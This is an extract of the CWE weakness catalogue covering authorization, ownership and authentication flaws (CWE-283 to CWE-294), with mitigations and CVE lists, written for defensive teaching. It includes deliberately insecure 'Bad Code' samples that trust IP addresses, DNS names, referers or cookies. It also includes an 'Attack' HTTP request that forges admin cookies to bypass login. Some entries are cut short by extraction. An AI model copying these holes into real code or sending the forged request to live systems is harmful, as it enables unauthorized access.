Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Relationships

Nature	Type	ID	Name	☑	Page
ChildOf		275	Permission Issues	699	476
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1083
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1364
ChildOf		1011	Authorize Actors	1008	1407
<i>CanAlsoBe</i>		<i>274</i>	<i>Improper Handling of Insufficient Privileges</i>	<i>1000</i>	<i>475</i>
<i>PeerOf</i>		<i>636</i>	<i>Not Failing Securely ('Failing Open')</i>	<i>1000</i>	<i>966</i>

Relationship Notes

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Research Gaps

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Fails poorly due to insufficient permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.10)
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-283: Unverified Ownership

Weakness ID: 283 (Weakness Base)

Status: Draft

Description

Summary

The software does not properly verify that a critical resource is owned by the proper entity.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

An attacker could gain unauthorized access to system resources

Demonstrative Examples

This function is part of a privileged program that takes input from users with potentially lower privileges.

Python Example:

Bad Code

```
def killProcess(processID):
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

Python Example:

Good Code

```
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

Observed Examples

Reference	Description
CVE-2001-0178	Program does not verify the owner of a UNIX socket that is used for sending a password.
CVE-2004-2012	Owner of special device not checked, allowing root.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

This overlaps insufficient comparison, verification errors, permissions, and privileges.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unverified Ownership

CWE-284: Improper Access Control

Weakness ID: 284 (*Weakness Class*)

Status: Incomplete

Description

Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Alternate Terms

Authorization

The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Time of Introduction

Maintenance Notes

This item needs more work. Possible sub-categories include:

- * Trusted group includes undesired entities (partially covered by CWE-286)
- * Group can perform undesired actions
- * ACL parse error does not fail closed

CWE-285: Improper Authorization

Weakness ID: 285 (*Weakness Class*)

Status: Draft

Description

Summary

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Technology Classes

- Web Server (*Often*)
- Database Server (*Often*)

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Common Consequences

Confidentiality

Read application data

Read files or directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Integrity

Modify application data

Modify files or directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Access Control

Gain privileges / assume identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

Limited

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

Moderate

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Forced Path Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

This function runs an arbitrary SQL query on a given database, returning the result of the query.

PHP Example:*Bad Code*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare("SELECT * FROM employees WHERE name = :name");
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
//.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Perl Example:*Bad Code*

```
sub DisplayPrivateMessage {
```

```

my($id) = @_ ;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);

```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.

Potential Mitigations

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.285.5] and the OWASP ESAPI Access Control feature [R.285.4].

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

System Configuration

Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

CWE-286: Incorrect User Management

Weakness ID: 286 (Weakness Class) Status: Incomplete

Description

Summary

The software does not properly manage a user within its environment.

Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

PLOVER	User management errors

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

CWE-287: Improper Authentication

Weakness ID: 287 (Weakness Class) Status: Draft

Description

Summary

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

Alternate Terms

authentication

An alternate term is "authentication", which appears to be most commonly used by people from non-English-speaking countries.

AuthC

"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Availability

Access Control

Read application data

Gain privileges / assume identity

Execute unauthorized code or commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

Limited

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis

High

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Demonstrative Examples

Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

Perl Example:

Bad Code

```
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    }
}
else {
    # Set loggedin and user cookies.
    $q->cookie(
        -name => 'loggedin',
        -value => 'true'
    );
}
```

```
$q->cookie(  
  -name => 'user',  
  -value => $q->param('username')  
);  
}  
}  
if ($q->cookie('user') eq "Administrator") {  
  DoAdministratorTasks();  
}
```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Attack

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1  
Cookie: user=Administrator  
Cookie: loggedin=true  
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Observed Examples

Reference	Description
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
CVE-2009-1596	product does not properly implement a security-related configuration setting, allowing authentication bypass.
CVE-2009-2168	chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
CVE-2009-2213	product uses default "Allow" action, instead of default deny, leading to authentication bypass.
CVE-2009-2382	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
CVE-2009-2422	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
CVE-2009-3107	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
CVE-2009-3231	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
CVE-2009-3232	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
CVE-2009-3421	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.

Potential Mitigations

**Architecture and Design
Libraries or Frameworks**

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288 (Weakness Base)

Status: Incomplete

Description

Summary

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

Common Consequences

Access Control

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-1999-1077	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
CVE-1999-1454	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
CVE-2000-1179	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.
CVE-2002-0066	Bypass authentication via direct request to named pipe.
CVE-2002-0870	Attackers may gain additional privileges by directly requesting the web management URL.
CVE-2003-0304	Direct request of installation file allows attacker to create administrator accounts.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.

Potential Mitigations

Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.10)
127	Directory Indexing	

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289 (Weakness Variant)

Status: Incomplete

Description**Summary**

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences**Access Control****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2003-0317	Protection mechanism that restricts URL access can be bypassed using URL encoding.
CVE-2004-0847	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).

Potential Mitigations**Architecture and Design****Input Validation**

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

PLOVER		Authentication bypass by alternate name
CERT Java Secure Coding	IDS01-J	Normalize strings before validating them

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290 (Weakness Base)

Status: Incomplete

Description

Summary

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Time of Introduction

- Architecture and Design
- Implementation

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.

Demonstrative Examples

Example 1:

The following code authenticates users.

Java Example:

Bad Code

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

C Example:

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
```

```

servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliLen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliLen);
    }
}

```

Java Example:*Bad Code*

```

while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}

```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client

Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

C Example:*Bad Code*

```

struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}

```

Java Example:*Bad Code*

```

String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}

```

C# Example:*Bad Code*

```

IPAddress hostIPAddress = IPAddress.Parse(RemotepAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}

```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.

CWE-291: Reliance on IP Address for Authentication

Weakness ID: 291 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The software uses an IP address for authentication.

Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Non-Repudiation

Hide activities

Gain privileges / assume identity

Malicious users can fake authentication information, impersonating any IP address.

Likelihood of Exploit

High

Demonstrative Examples

Both of these examples check if a request is from a trusted address before responding to the request.

C Example:

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Java Example:

Bad Code

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Potential Mitigations

Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name

Weakness ID: 292 (*Deprecated Weakness Variant*) **Status:** Deprecated

Description

Summary

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

Likelihood of Exploit

High

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP29	Faulty endpoint authentication

CWE-293: Using Referer Field for Authentication

Weakness ID: 293 (*Weakness Variant*) **Status:** Draft

Description

Summary

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

Alternate Terms

referrer

While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.

Likelihood of Exploit

High

Demonstrative Examples

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

C++ Example:

Bad Code

```
String trustedReferer = "http://www.example.com/"
while(true){
  n = read(newsock, buffer, BUFSIZE);
  requestPacket = processPacket(buffer, n);
  if (requestPacket.referer == trustedReferer){
    openNewSecureSession(requestPacket);
  }
}
```

Java Example:

Bad Code

```
boolean processConnectionRequest(HttpServletRequest request){
  String referer = request.getHeader("referer")
  String trustedReferer = "http://www.example.com/"
  if(referer.equals(trustedReferer)){
    openPrivilegedConnection(request);
    return true;
  }
  else{
    sendPrivilegeError(request);
    return false;
  }
}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

Potential Mitigations**Architecture and Design**

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

CWE-294: Authentication Bypass by Capture-replay

Weakness ID: 294 (Weakness Base)

Status: Incomplete

Description**Summary**

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

